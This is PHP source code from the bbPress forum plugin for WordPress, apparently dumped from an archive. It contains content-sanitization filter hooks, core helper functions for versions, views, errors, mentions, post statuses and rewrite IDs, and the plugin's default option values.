	}

	// Revisions
	add_filter( 'bbp_get_reply_content', 'bbp_reply_content_append_revisions',  99,  2 );
	add_filter( 'bbp_get_topic_content', 'bbp_topic_content_append_revisions',  99,  2 );
}

// Form textarea output - undo the code-trick done pre-save, and sanitize
add_filter( 'bbp_get_form_forum_content', 'bbp_code_trick_reverse' );
add_filter( 'bbp_get_form_forum_content', 'esc_textarea'           );
add_filter( 'bbp_get_form_forum_content', 'trim'                   );
add_filter( 'bbp_get_form_topic_content', 'bbp_code_trick_reverse' );
add_filter( 'bbp_get_form_topic_content', 'esc_textarea'           );
add_filter( 'bbp_get_form_topic_content', 'trim'                   );
add_filter( 'bbp_get_form_reply_content', 'bbp_code_trick_reverse' );
add_filter( 'bbp_get_form_reply_content', 'esc_textarea'           );
add_filter( 'bbp_get_form_reply_content', 'trim'                   );

// Form input/output - sanitize
add_filter( 'bbp_get_form_reply_edit_reason', 'esc_attr' );
add_filter( 'bbp_get_form_reply_edit_reason', 'trim'     );
add_filter( 'bbp_get_form_topic_edit_reason', 'esc_attr' );
add_filter( 'bbp_get_form_topic_edit_reason', 'trim'     );
add_filter( 'bbp_get_form_topic_title',       'esc_attr' );
add_filter( 'bbp_get_form_topic_title',       'trim'     );
add_filter( 'bbp_get_form_topic_tags',        'esc_attr' );
add_filter( 'bbp_get_form_topic_tags',        'trim'     );
add_filter( 'bbp_get_form_forum_type',        'esc_attr' );
add_filter( 'bbp_get_form_forum_type',        'trim'     );
add_filter( 'bbp_get_form_forum_visibility',  'esc_attr' );
add_filter( 'bbp_get_form_forum_visibility',  'trim'     );
add_filter( 'bbp_get_form_forum_moderators',  'esc_attr' );
add_filter( 'bbp_get_form_forum_moderators',  'trim'     );
add_filter( 'bbp_get_form_topic_forum',       'intval'   );
add_filter( 'bbp_get_form_forum_parent',      'intval'   );
add_filter( 'bbp_get_form_reply_to',          'intval'   );

// Add number format filter to functions requesting formatted values
add_filter( 'bbp_get_user_topic_count',         'bbp_number_format', 10 );
add_filter( 'bbp_get_user_reply_count',         'bbp_number_format', 10 );
add_filter( 'bbp_get_user_post_count',          'bbp_number_format', 10 );
add_filter( 'bbp_get_forum_subforum_count',     'bbp_number_format', 10 );
add_filter( 'bbp_get_forum_topic_count',        'bbp_number_format', 10 );
add_filter( 'bbp_get_forum_reply_count',        'bbp_number_format', 10 );
add_filter( 'bbp_get_forum_post_count',         'bbp_number_format', 10 );
add_filter( 'bbp_get_topic_voice_count',        'bbp_number_format', 10 );
add_filter( 'bbp_get_topic_reply_count',        'bbp_number_format', 10 );
add_filter( 'bbp_get_topic_post_count',         'bbp_number_format', 10 );
add_filter( 'bbp_get_topic_revision_count',     'bbp_number_format', 10 );
add_filter( 'bbp_get_reply_revision_count',     'bbp_number_format', 10 );
add_filter( 'bbp_get_forum_topic_count_hidden', 'bbp_number_format', 10 );
add_filter( 'bbp_get_topic_reply_count_hidden', 'bbp_number_format', 10 );

// Add number-not-negative filter to values that can never be negative numbers
add_filter( 'bbp_get_user_topic_count',             'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_user_reply_count',             'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_user_post_count',              'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_subforum_count',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_topic_count',            'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_reply_count',            'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_post_count',             'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_voice_count',            'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_reply_count',            'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_post_count',             'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_topic_count_hidden',     'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_reply_count_hidden',     'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_revision_count',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_reply_revision_count',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_user_topic_count_int',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_user_reply_count_int',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_user_post_count_int',          'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_subforum_count_int',     'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_topic_count_int',        'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_reply_count_int',        'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_post_count_int',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_voice_count_int',        'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_reply_count_int',        'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_post_count_int',         'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_forum_topic_count_hidden_int', 'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_reply_count_hidden_int', 'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_topic_revision_count_int',     'bbp_number_not_negative', 8 );
add_filter( 'bbp_get_reply_revision_count_int',     'bbp_number_not_negative', 8 );

// Sanitize displayed user data
add_filter( 'bbp_get_displayed_user_field', 'bbp_sanitize_displayed_user_field', 10, 3 );

// Suppress private forum details
add_filter( 'bbp_get_forum_topic_count',    'bbp_suppress_private_forum_meta',  10, 2 );
add_filter( 'bbp_get_forum_reply_count',    'bbp_suppress_private_forum_meta',  10, 2 );
add_filter( 'bbp_get_forum_post_count',     'bbp_suppress_private_forum_meta',  10, 2 );
add_filter( 'bbp_get_forum_freshness_link', 'bbp_suppress_private_forum_meta',  10, 2 );
add_filter( 'bbp_get_author_link',          'bbp_suppress_private_author_link', 10, 2 );
add_filter( 'bbp_get_topic_author_link',    'bbp_suppress_private_author_link', 10, 2 );
add_filter( 'bbp_get_reply_author_link',    'bbp_suppress_private_author_link', 10, 2 );

// Allow private & hidden forum details for moderators
add_filter( 'bbp_get_excluded_forum_ids', 'bbp_allow_forums_of_user', 10, 2 );

// Topic and reply author display names
add_filter( 'bbp_get_topic_author_display_name', 'wptexturize'   );
add_filter( 'bbp_get_topic_author_display_name', 'convert_chars' );
add_filter( 'bbp_get_topic_author_display_name', 'esc_html'      );
add_filter( 'bbp_get_reply_author_display_name', 'wptexturize'   );
add_filter( 'bbp_get_reply_author_display_name', 'convert_chars' );
add_filter( 'bbp_get_reply_author_display_name', 'esc_html'      );

/**
 * Add filters to anonymous post author data
 */
// Post author name
add_filter( 'bbp_pre_anonymous_post_author_name',    'trim',                10 );
add_filter( 'bbp_pre_anonymous_post_author_name',    'sanitize_text_field', 10 );
add_filter( 'bbp_pre_anonymous_post_author_name',    'wp_filter_kses',      10 );
add_filter( 'bbp_pre_anonymous_post_author_name',    '_wp_specialchars',    30 );

// Save email
add_filter( 'bbp_pre_anonymous_post_author_email',   'trim',                10 );
add_filter( 'bbp_pre_anonymous_post_author_email',   'sanitize_email',      10 );
add_filter( 'bbp_pre_anonymous_post_author_email',   'wp_filter_kses',      10 );

// Save URL
add_filter( 'bbp_pre_anonymous_post_author_website', 'trim',                10 );
add_filter( 'bbp_pre_anonymous_post_author_website', 'wp_strip_all_tags',   10 );
add_filter( 'bbp_pre_anonymous_post_author_website', 'esc_url_raw',         10 );
add_filter( 'bbp_pre_anonymous_post_author_website', 'wp_filter_kses',      10 );

// Queries
add_filter( 'posts_request', '_bbp_has_replies_where', 10, 2 );

// Capabilities
add_filter( 'bbp_map_meta_caps', 'bbp_map_primary_meta_caps',   10, 4 ); // Primary caps
add_filter( 'bbp_map_meta_caps', 'bbp_map_forum_meta_caps',     10, 4 ); // Forums
add_filter( 'bbp_map_meta_caps', 'bbp_map_topic_meta_caps',     10, 4 ); // Topics
add_filter( 'bbp_map_meta_caps', 'bbp_map_topic_tag_meta_caps', 10, 4 ); // Topic tags
add_filter( 'bbp_map_meta_caps', 'bbp_map_reply_meta_caps',     10, 4 ); // Replies

// Clickables
add_filter( 'bbp_make_clickable', 'bbp_make_urls_clickable',      2 ); // https://bbpress.org
add_filter( 'bbp_make_clickable', 'bbp_make_ftps_clickable',      4 ); // ftps://bbpress.org
add_filter( 'bbp_make_clickable', 'bbp_make_emails_clickable',    6 ); // jjj@bbpress.org
add_filter( 'bbp_make_clickable', 'bbp_make_mentions_clickable',  8 ); // @jjj

/** Deprecated ****************************************************************/

/**
 * The following filters are deprecated.
 *
 * These filters were most likely replaced by bbp_parse_args(), which includes
 * both passive and aggressive filters anywhere parse_args is used to compare
 * default arguments to passed arguments, without sprinkling the project with
 * _before_ and _after_ filters everywhere.
 */

/**
 * Deprecated locale filter
 *
 * @since 2.2.0 bbPress (r4213)
 *
 * @param string $locale
 * @return string  $domain
 */
function _bbp_filter_locale( $locale = '', $domain = '' ) {

	// Only apply to the bbPress text-domain
	if ( bbpress()->domain !== $domain ) {
		return $locale;
	}

	return apply_filters( 'bbpress_locale', $locale, $domain );
}
add_filter( 'bbp_plugin_locale', '_bbp_filter_locale', 10, 1 );

/**
 * Deprecated forums query filter
 *
 * @since 2.1.0 bbPress (r3961)
 *
 * @param array $args
 * @return array
 */
function _bbp_has_forums_query( $args = array() ) {

	// Filter & return
	return (array) apply_filters( 'bbp_has_forums_query', $args );
}
add_filter( 'bbp_after_has_forums_parse_args', '_bbp_has_forums_query' );

/**
 * Deprecated topics query filter
 *
 * @since 2.1.0 bbPress (r3961)
 *
 * @param array $args
 * @return array
 */
function _bbp_has_topics_query( $args = array() ) {

	// Filter & return
	return (array) apply_filters( 'bbp_has_topics_query', $args );
}
add_filter( 'bbp_after_has_topics_parse_args', '_bbp_has_topics_query' );

/**
 * Deprecated replies query filter
 *
 * @since 2.1.0 bbPress (r3961)
 *
 * @param array $args
 * @return array
 */
function _bbp_has_replies_query( $args = array() ) {

	// Filter & return
	return (array) apply_filters( 'bbp_has_replies_query', $args );
}
add_filter( 'bbp_after_has_replies_parse_args', '_bbp_has_replies_query' );
includes/core/functions.php000066600000034650151771460310012044 0ustar00<?php

/**
 * bbPress Core Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Versions ******************************************************************/

/**
 * Output the bbPress version
 *
 * @since 2.0.0 bbPress (r3468)
 */
function bbp_version() {
	echo bbp_get_version();
}
	/**
	 * Return the bbPress version
	 *
	 * @since 2.0.0 bbPress (r3468)
	 *
	 * @retrun string The bbPress version
	 */
	function bbp_get_version() {
		return bbpress()->version;
	}

/**
 * Output the bbPress database version
 *
 * @since 2.0.0 bbPress (r3468)
 */
function bbp_db_version() {
	echo bbp_get_db_version();
}
	/**
	 * Return the bbPress database version
	 *
	 * @since 2.0.0 bbPress (r3468)
	 *
	 * @retrun string The bbPress version
	 */
	function bbp_get_db_version() {
		return bbpress()->db_version;
	}

/**
 * Output the bbPress database version directly from the database
 *
 * @since 2.0.0 bbPress (r3468)
 */
function bbp_db_version_raw() {
	echo bbp_get_db_version_raw();
}
	/**
	 * Return the bbPress database version directly from the database
	 *
	 * @since 2.0.0 bbPress (r3468)
	 *
	 * @retrun string The current bbPress version
	 */
	function bbp_get_db_version_raw() {
		return get_option( '_bbp_db_version', '' );
	}

/** Post Meta *****************************************************************/

/**
 * Update the forum meta ID of a post
 *
 * @since 2.0.0 bbPress (r3181)
 *
 * @param int $post_id  The post to update
 * @param int $forum_id The forum
 */
function bbp_update_forum_id( $post_id = 0, $forum_id = 0 ) {

	// Allow the forum ID to be updated 'just in time' before save
	$forum_id = (int) apply_filters( 'bbp_update_forum_id', $forum_id, $post_id );

	// Update the post meta forum ID
	update_post_meta( $post_id, '_bbp_forum_id', $forum_id );

	return $forum_id;
}

/**
 * Update the topic meta ID of a post
 *
 * @since 2.0.0 bbPress (r3181)
 *
 * @param int $post_id  The post to update
 * @param int $topic_id The topic
 */
function bbp_update_topic_id( $post_id = 0, $topic_id = 0 ) {

	// Allow the topic ID to be updated 'just in time' before save
	$topic_id = (int) apply_filters( 'bbp_update_topic_id', $topic_id, $post_id );

	// Update the post meta topic ID
	update_post_meta( $post_id, '_bbp_topic_id', $topic_id );

	return $topic_id;
}

/**
 * Update the reply meta ID of a post
 *
 * @since 2.0.0 bbPress (r3181)
 *
 * @param int $post_id  The post to update
 * @param int $reply_id The reply
 */
function bbp_update_reply_id( $post_id = 0, $reply_id = 0 ) {

	// Allow the reply ID to be updated 'just in time' before save
	$reply_id = (int) apply_filters( 'bbp_update_reply_id', $reply_id, $post_id );

	// Update the post meta reply ID
	update_post_meta( $post_id, '_bbp_reply_id', $reply_id );

	return $reply_id;
}

/**
 * Update the reply-to meta ID of a post
 *
 * @since 2.6.0 bbPress (r5735)
 *
 * @param int $post_id  The post to update
 * @param int $reply_id The reply ID
 */
function bbp_update_reply_to_id( $post_id = 0, $reply_id = 0 ) {

	// Allow the reply ID to be updated 'just in time' before save
	$reply_id = (int) apply_filters( 'bbp_update_reply_to_id', $reply_id, $post_id );

	// Update the post meta reply ID
	update_post_meta( $post_id, '_bbp_reply_to', $reply_id );

	return $reply_id;
}

/** Views *********************************************************************/

/**
 * Get the registered views
 *
 * Does nothing much other than return the {@link $bbp->views} variable
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @return array Views
 */
function bbp_get_views() {
	return bbpress()->views;
}

/**
 * Register a bbPress view
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view View name
 * @param string $title View title
 * @param mixed $query_args {@link bbp_has_topics()} arguments.
 * @param bool $feed Have a feed for the view? Defaults to true.
 * @param string $capability Capability that the current user must have
 *
 * @return array The just registered (but processed) view
 */
function bbp_register_view( $view, $title, $query_args = '', $feed = true, $capability = '' ) {

	// Bail if user does not have capability
	if ( ! empty( $capability ) && ! current_user_can( $capability ) ) {
		return false;
	}

	$bbp   = bbpress();
	$view  = sanitize_title( $view );
	$title = esc_html( $title );

	if ( empty( $view ) || empty( $title ) ) {
		return false;
	}

	$query_args = bbp_parse_args( $query_args, '', 'register_view' );

	// Set show_stickies to false if it wasn't supplied
	if ( ! isset( $query_args['show_stickies'] ) ) {
		$query_args['show_stickies'] = false;
	}

	$bbp->views[ $view ] = array(
		'title'  => $title,
		'query'  => $query_args,
		'feed'   => $feed
	);

	return $bbp->views[ $view ];
}

/**
 * Deregister a bbPress view
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view View name
 * @return bool False if the view doesn't exist, true on success
 */
function bbp_deregister_view( $view ) {
	$bbp  = bbpress();
	$view = sanitize_title( $view );

	if ( ! isset( $bbp->views[ $view ] ) ) {
		return false;
	}

	unset( $bbp->views[ $view ] );

	return true;
}

/**
 * Run the query of a topic-view
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view Optional. View id
 * @param mixed $new_args New arguments. See {@link bbp_has_topics()}
 * @return bool False if the view doesn't exist, otherwise if topics are there
 */
function bbp_view_query( $view = '', $new_args = '' ) {

	// Get view, or bail
	$view = bbp_get_view_id( $view );
	if ( empty( $view ) ) {
		return false;
	}

	$query_args = bbp_get_view_query_args( $view );

	if ( ! empty( $new_args ) ) {
		$new_args   = bbp_parse_args( $new_args, '', 'view_query' );
		$query_args = array_merge( $query_args, $new_args );
	}

	return bbp_has_topics( $query_args );
}

/**
 * Return the query arguments of a topic-view
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view View name
 * @return array Query arguments
 */
function bbp_get_view_query_args( $view = '' ) {
	$bbp    = bbpress();
	$view   = bbp_get_view_id( $view );
	$retval = ! empty( $view ) && ! empty( $bbp->views[ $view ] )
		? $bbp->views[ $view ]['query']
		: array();

	// Filter & return
	return (array) apply_filters( 'bbp_get_view_query_args', $retval, $view );
}

/** Errors ********************************************************************/

/**
 * Adds an error message to later be output in the theme
 *
 * @since 2.0.0 bbPress (r3381)
 *
 * @see WP_Error()
 *
 * @param string $code Unique code for the error message
 * @param string $message Translated error message
 * @param string $data Any additional data passed with the error message
 */
function bbp_add_error( $code = '', $message = '', $data = '' ) {
	bbpress()->errors->add( $code, $message, $data );
}

/**
 * Check if error messages exist in queue
 *
 * @since 2.0.0 bbPress (r3381)
 *
 * @see WP_Error()
 */
function bbp_has_errors() {
	$has_errors = bbpress()->errors->get_error_codes()
		? true
		: false;

	return (bool) apply_filters( 'bbp_has_errors', $has_errors, bbpress()->errors );
}

/** Mentions ******************************************************************/

/**
 * Set the pattern used for matching usernames for mentions.
 *
 * Moved into its own function to allow filtering of the regex pattern
 * anywhere mentions might be used.
 *
 * @since 2.4.0 bbPress (r4997)
 * @deprecated 2.6.0 bbp_make_clickable()
 *
 * @return string Pattern to match usernames with
 */
function bbp_find_mentions_pattern() {

	// Filter & return
	return apply_filters( 'bbp_find_mentions_pattern', '/[@]+([A-Za-z0-9-_\.@]+)\b/' );
}

/**
 * Searches through the content to locate usernames, designated by an @ sign.
 *
 * @since 2.2.0 bbPress (r4323)
 * @deprecated 2.6.0 bbp_make_clickable()
 *
 * @param string $content The content
 * @return bool|array $usernames Existing usernames. False if no matches.
 */
function bbp_find_mentions( $content = '' ) {
	$pattern   = bbp_find_mentions_pattern();
	preg_match_all( $pattern, $content, $usernames );
	$usernames = array_unique( array_filter( $usernames[1] ) );

	// Bail if no usernames
	if ( empty( $usernames ) ) {
		$usernames = false;
	}

	// Filter & return
	return apply_filters( 'bbp_find_mentions', $usernames, $pattern, $content );
}

/**
 * Finds and links @-mentioned users in the content
 *
 * @since 2.2.0 bbPress (r4323)
 * @deprecated 2.6.0 bbp_make_clickable()
 *
 * @return string $content Content filtered for mentions
 */
function bbp_mention_filter( $content = '' ) {

	// Get Usernames and bail if none exist
	$usernames = bbp_find_mentions( $content );
	if ( empty( $usernames ) ) {
		return $content;
	}

	// Loop through usernames and link to profiles
	foreach ( (array) $usernames as $username ) {

		// Skip if username does not exist or user is not active
		$user = get_user_by( 'slug', $username );
		if ( empty( $user->ID ) || bbp_is_user_inactive( $user->ID ) ) {
			continue;
		}

		// Link
		$profile_url  = bbp_get_user_profile_url( $user->ID );
		$profile_link = sprintf( '<a href="%1$s">@%2$s</a>', esc_url( $profile_url ), esc_html( $username ) );
		$no_followed  = bbp_rel_nofollow( $profile_link );
		$pattern      = "/(@{$username}\b)/";

		// Replace name in content
		$content = preg_replace( $pattern, $no_followed, $content );
	}

	// Return modified content
	return $content;
}

/** Post Statuses *************************************************************/

/**
 * Return the public post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_public_status_id() {
	return bbpress()->public_status_id;
}

/**
 * Return the pending post status ID
 *
 * @since 2.1.0 bbPress (r3581)
 *
 * @return string
 */
function bbp_get_pending_status_id() {
	return bbpress()->pending_status_id;
}

/**
 * Return the private post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_private_status_id() {
	return bbpress()->private_status_id;
}

/**
 * Return the hidden post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_hidden_status_id() {
	return bbpress()->hidden_status_id;
}

/**
 * Return the closed post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_closed_status_id() {
	return bbpress()->closed_status_id;
}

/**
 * Return the spam post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_spam_status_id() {
	return bbpress()->spam_status_id;
}

/**
 * Return the trash post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_trash_status_id() {
	return bbpress()->trash_status_id;
}

/**
 * Return the orphan post status ID
 *
 * @since 2.0.0 bbPress (r3504)
 *
 * @return string
 */
function bbp_get_orphan_status_id() {
	return bbpress()->orphan_status_id;
}

/** Rewrite IDs ***************************************************************/

/**
 * Return the unique ID for user profile rewrite rules
 *
 * @since 2.1.0 bbPress (r3762)
 *
 * @return string
 */
function bbp_get_user_rewrite_id() {
	return bbpress()->user_id;
}

/**
 * Return the unique ID for all edit rewrite rules (forum|topic|reply|tag|user)
 *
 * @since 2.1.0 bbPress (r3762)
 *
 * @return string
 */
function bbp_get_edit_rewrite_id() {
	return bbpress()->edit_id;
}

/**
 * Return the unique ID for all search rewrite rules
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @return string
 */
function bbp_get_search_rewrite_id() {
	return bbpress()->search_id;
}

/**
 * Return the unique ID for user topics rewrite rules
 *
 * @since 2.2.0 bbPress (r4321)
 *
 * @return string
 */
function bbp_get_user_topics_rewrite_id() {
	return bbpress()->tops_id;
}

/**
 * Return the unique ID for user replies rewrite rules
 *
 * @since 2.2.0 bbPress (r4321)
 *
 * @return string
 */
function bbp_get_user_replies_rewrite_id() {
	return bbpress()->reps_id;
}

/**
 * Return the unique ID for user favorites rewrite rules
 *
 * @since 2.2.0 bbPress (r4181)
 *
 * @return string
 */
function bbp_get_user_favorites_rewrite_id() {
	return bbpress()->favs_id;
}

/**
 * Return the unique ID for user subscriptions rewrite rules
 *
 * @since 2.2.0 bbPress (r4181)
 *
 * @return string
 */
function bbp_get_user_subscriptions_rewrite_id() {
	return bbpress()->subs_id;
}

/**
 * Return the unique ID for user engagement rewrite rules
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @return string
 */
function bbp_get_user_engagements_rewrite_id() {
	return bbpress()->engagements_id;
}

/**
 * Return the unique ID for topic view rewrite rules
 *
 * @since 2.1.0 bbPress (r3762)
 *
 * @return string
 */
function bbp_get_view_rewrite_id() {
	return bbpress()->view_id;
}

/** Rewrite Extras ************************************************************/

/**
 * Get the id used for paginated requests
 *
 * @since 2.4.0 bbPress (r4926)
 *
 * @return string
 */
function bbp_get_paged_rewrite_id() {
	return bbpress()->paged_id;
}

/**
 * Delete a blogs rewrite rules, so that they are automatically rebuilt on
 * the subsequent page load.
 *
 * @since 2.2.0 bbPress (r4198)
 */
function bbp_delete_rewrite_rules() {
	delete_option( 'rewrite_rules' );
}

/** Requests ******************************************************************/

/**
 * Return true|false if this is a POST request
 *
 * @since 2.3.0 bbPress (r4790)
 *
 * @return bool
 */
function bbp_is_post_request() {
	return (bool) ( 'POST' === strtoupper( $_SERVER['REQUEST_METHOD'] ) );
}

/**
 * Return true|false if this is a GET request
 *
 * @since 2.3.0 bbPress (r4790)
 *
 * @return bool
 */
function bbp_is_get_request() {
	return (bool) ( 'GET' === strtoupper( $_SERVER['REQUEST_METHOD'] ) );
}

/** Redirection ***************************************************************/

/**
 * Perform a safe, local redirect somewhere inside the current site
 *
 * On some setups, passing the value of wp_get_referer() may result in an empty
 * value for $location, which results in an error on redirection. If $location
 * is empty, we can safely redirect back to the forum root. This might change
 * in a future version, possibly to the site root.
 *
 * @since 2.6.0 bbPress (r5658)
 *
 * @see  bbp_redirect_to_field()
 *
 * @param string $location The URL to redirect the user to.
 * @param int    $status   Optional. The numeric code to give in the redirect
 *                         headers. Default: 302.
 */
function bbp_redirect( $location = '', $status = 302 ) {

	// Prevent errors from empty $location
	if ( empty( $location ) ) {
		$location = bbp_get_forums_url();
	}

	// Setup the safe redirect
	wp_safe_redirect( $location, $status );

	// Exit so the redirect takes place immediately
	exit();
}
includes/core/options.php000066600000071343151771460310011527 0ustar00<?php

/**
 * bbPress Options
 *
 * @package bbPress
 * @subpackage Core
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Get the default site options and their values.
 *
 * These option
 *
 * @since 2.0.0 bbPress (r3421)
 *
 * @return array Filtered option names and values
 */
function bbp_get_default_options() {
	static $options = null;

	// Store these to avoid recreating them
	if ( is_null( $options ) ) {

		// Use the participant role for the default-default role
		$role    = bbp_get_participant_role();
		$options = array(

			/** DB Version ********************************************************/

			'_bbp_db_version'             => 0,         // Database version
			'_bbp_db_pending_upgrades'    => array(),   // Database upgrades pending

			/** Flags *************************************************************/

			'_bbp_flag_initial_content'   => 1,         // Flag to indicate initial content was created

			/** Features **********************************************************/

			'_bbp_enable_favorites'       => 1,         // Enable favorites
			'_bbp_enable_subscriptions'   => 1,         // Enable subscriptions
			'_bbp_enable_engagements'     => 1,         // Enable engagements
			'_bbp_allow_content_edit'     => 1,         // Allow content edit
			'_bbp_allow_content_throttle' => 1,         // Allow content throttle
			'_bbp_allow_revisions'        => 1,         // Allow revisions
			'_bbp_allow_topic_tags'       => 1,         // Allow topic tagging
			'_bbp_allow_search'           => 1,         // Allow forum-wide search
			'_bbp_allow_forum_mods'       => 1,         // Allow per-forum moderation
			'_bbp_allow_global_access'    => 1,         // Allow users from all sites to post
			'_bbp_allow_anonymous'        => 0,         // Allow anonymous posting
			'_bbp_allow_super_mods'       => 0,         // Allow mods to edit users
			'_bbp_allow_threaded_replies' => 0,         // Allow threaded replies
			'_bbp_use_wp_editor'          => 1,         // Use the WordPress editor if available
			'_bbp_use_autoembed'          => 0,         // Use oEmbed in topics and replies

			/** Settings **********************************************************/

			'_bbp_default_role'           => $role,     // Default forums role
			'_bbp_edit_lock'              => 5,         // Lock post editing after 5 minutes
			'_bbp_throttle_time'          => 10,        // Throttle post time to 10 seconds
			'_bbp_thread_replies_depth'   => 2,         // Thread replies depth
			'_bbp_theme_package_id'       => 'default', // The ID for the current theme package
			'_bbp_settings_integration'   => 'basic',   // How to integrate into wp-admin
			'_bbp_engagements_strategy'   => 'meta',    // How to interact with engagements

			/** Per Page **********************************************************/

			'_bbp_topics_per_page'      => 15,          // Topics per page
			'_bbp_replies_per_page'     => 15,          // Replies per page
			'_bbp_forums_per_page'      => 50,          // Forums per page
			'_bbp_topics_per_rss_page'  => 25,          // Topics per RSS page
			'_bbp_replies_per_rss_page' => 25,          // Replies per RSS page

			/** Page For **********************************************************/

			'_bbp_page_for_forums'      => 0,           // Page for forums
			'_bbp_page_for_topics'      => 0,           // Page for forums
			'_bbp_page_for_login'       => 0,           // Page for login
			'_bbp_page_for_register'    => 0,           // Page for register
			'_bbp_page_for_lost_pass'   => 0,           // Page for lost-pass

			/** Forum Root ********************************************************/

			'_bbp_root_slug'            => 'forums',    // Forum archive slug
			'_bbp_show_on_root'         => 'forums',    // What to show on root (forums|topics)
			'_bbp_include_root'         => 1,           // Include forum-archive before single slugs

			/** Single Slugs ******************************************************/

			'_bbp_forum_slug'           => 'forum',     // Forum slug
			'_bbp_topic_slug'           => 'topic',     // Topic slug
			'_bbp_reply_slug'           => 'reply',     // Reply slug
			'_bbp_topic_tag_slug'       => 'topic-tag', // Topic tag slug

			/** User Slugs ********************************************************/

			'_bbp_user_slug'            => 'users',         // User profile slug
			'_bbp_user_engs_slug'       => 'engagements',   // User engagements slug
			'_bbp_user_favs_slug'       => 'favorites',     // User favorites slug
			'_bbp_user_subs_slug'       => 'subscriptions', // User subscriptions slug
			'_bbp_topic_archive_slug'   => 'topics',        // Topic archive slug
			'_bbp_reply_archive_slug'   => 'replies',       // Reply archive slug

			/** Other Slugs *******************************************************/

			'_bbp_view_slug'            => 'view',      // View slug
			'_bbp_search_slug'          => 'search',    // Search slug

			/** Topics ************************************************************/

			'_bbp_title_max_length'     => 80,          // Title Max Length
			'_bbp_super_sticky_topics'  => '',          // Super stickies

			/** Forums ************************************************************/

			'_bbp_private_forums'       => '',          // Private forums
			'_bbp_hidden_forums'        => '',          // Hidden forums

			/** BuddyPress ********************************************************/

			'_bbp_enable_group_forums'  => 1,           // Enable BuddyPress Group Extension
			'_bbp_group_forums_root_id' => 0,           // Group Forums parent forum id

			/** Akismet ***********************************************************/

			'_bbp_enable_akismet'       => 1,           // Users from all sites can post

			/** Converter *********************************************************/

			// Connection
			'_bbp_converter_db_user'    => '',          // Database User
			'_bbp_converter_db_pass'    => '',          // Database Password
			'_bbp_converter_db_name'    => '',          // Database Name
			'_bbp_converter_db_port'    => 3306,        // Database Port
			'_bbp_converter_db_server'  => 'localhost', // Database Server/IP
			'_bbp_converter_db_prefix'  => '',          // Database table prefix

			// Options
			'_bbp_converter_rows'          => 100,      // Number of rows to query
			'_bbp_converter_delay_time'    => 2,        // Seconds to wait between queries
			'_bbp_converter_step'          => false,    // Current converter step
			'_bbp_converter_start'         => false,    // Step to start at
			'_bbp_converter_convert_users' => false,    // Whether to convert users
			'_bbp_converter_halt'          => false,    // Halt on errors
			'_bbp_converter_platform'      => false,    // Which platform to use
			'_bbp_converter_query'         => false     // Last query
		);
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_default_options', $options );
}

/**
 * Add default options
 *
 * Hooked to bbp_activate, it is only called once when bbPress is activated.
 * This is non-destructive, so existing settings will not be overridden.
 *
 * @since 2.0.0 bbPress (r3421)
 */
function bbp_add_options() {

	// Add default options
	foreach ( bbp_get_default_options() as $key => $value ) {
		add_option( $key, $value );
	}

	// Allow previously activated plugins to append their own options.
	do_action( 'bbp_add_options' );
}

/**
 * Delete default options
 *
 * Hooked to bbp_uninstall, it is only called once when bbPress is uninstalled.
 * This is destructive, so existing settings will be destroyed.
 *
 * @since 2.0.0 bbPress (r3421)
 */
function bbp_delete_options() {

	// Add default options
	foreach ( array_keys( bbp_get_default_options() ) as $key ) {
		delete_option( $key );
	}

	// Allow previously activated plugins to append their own options.
	do_action( 'bbp_delete_options' );
}

/**
 * Add filters to each bbPress option and allow them to be overloaded from
 * inside the $bbp->options array.
 *
 * @since 2.0.0 bbPress (r3451)
 */
function bbp_setup_option_filters() {

	// Add filters to each bbPress option
	foreach ( array_keys( bbp_get_default_options() ) as $key ) {
		add_filter( 'pre_option_'     . $key, 'bbp_filter_pre_get_option', 10, 2 );
		add_filter( 'default_option_' . $key, 'bbp_filter_default_option', 10, 3 );
	}

	// Allow previously activated plugins to append their own options.
	do_action( 'bbp_setup_option_filters' );
}

/**
 * Filter pre options and maybe overloaded from the $bbp->options array.
 *
 * This function should not be called directly.
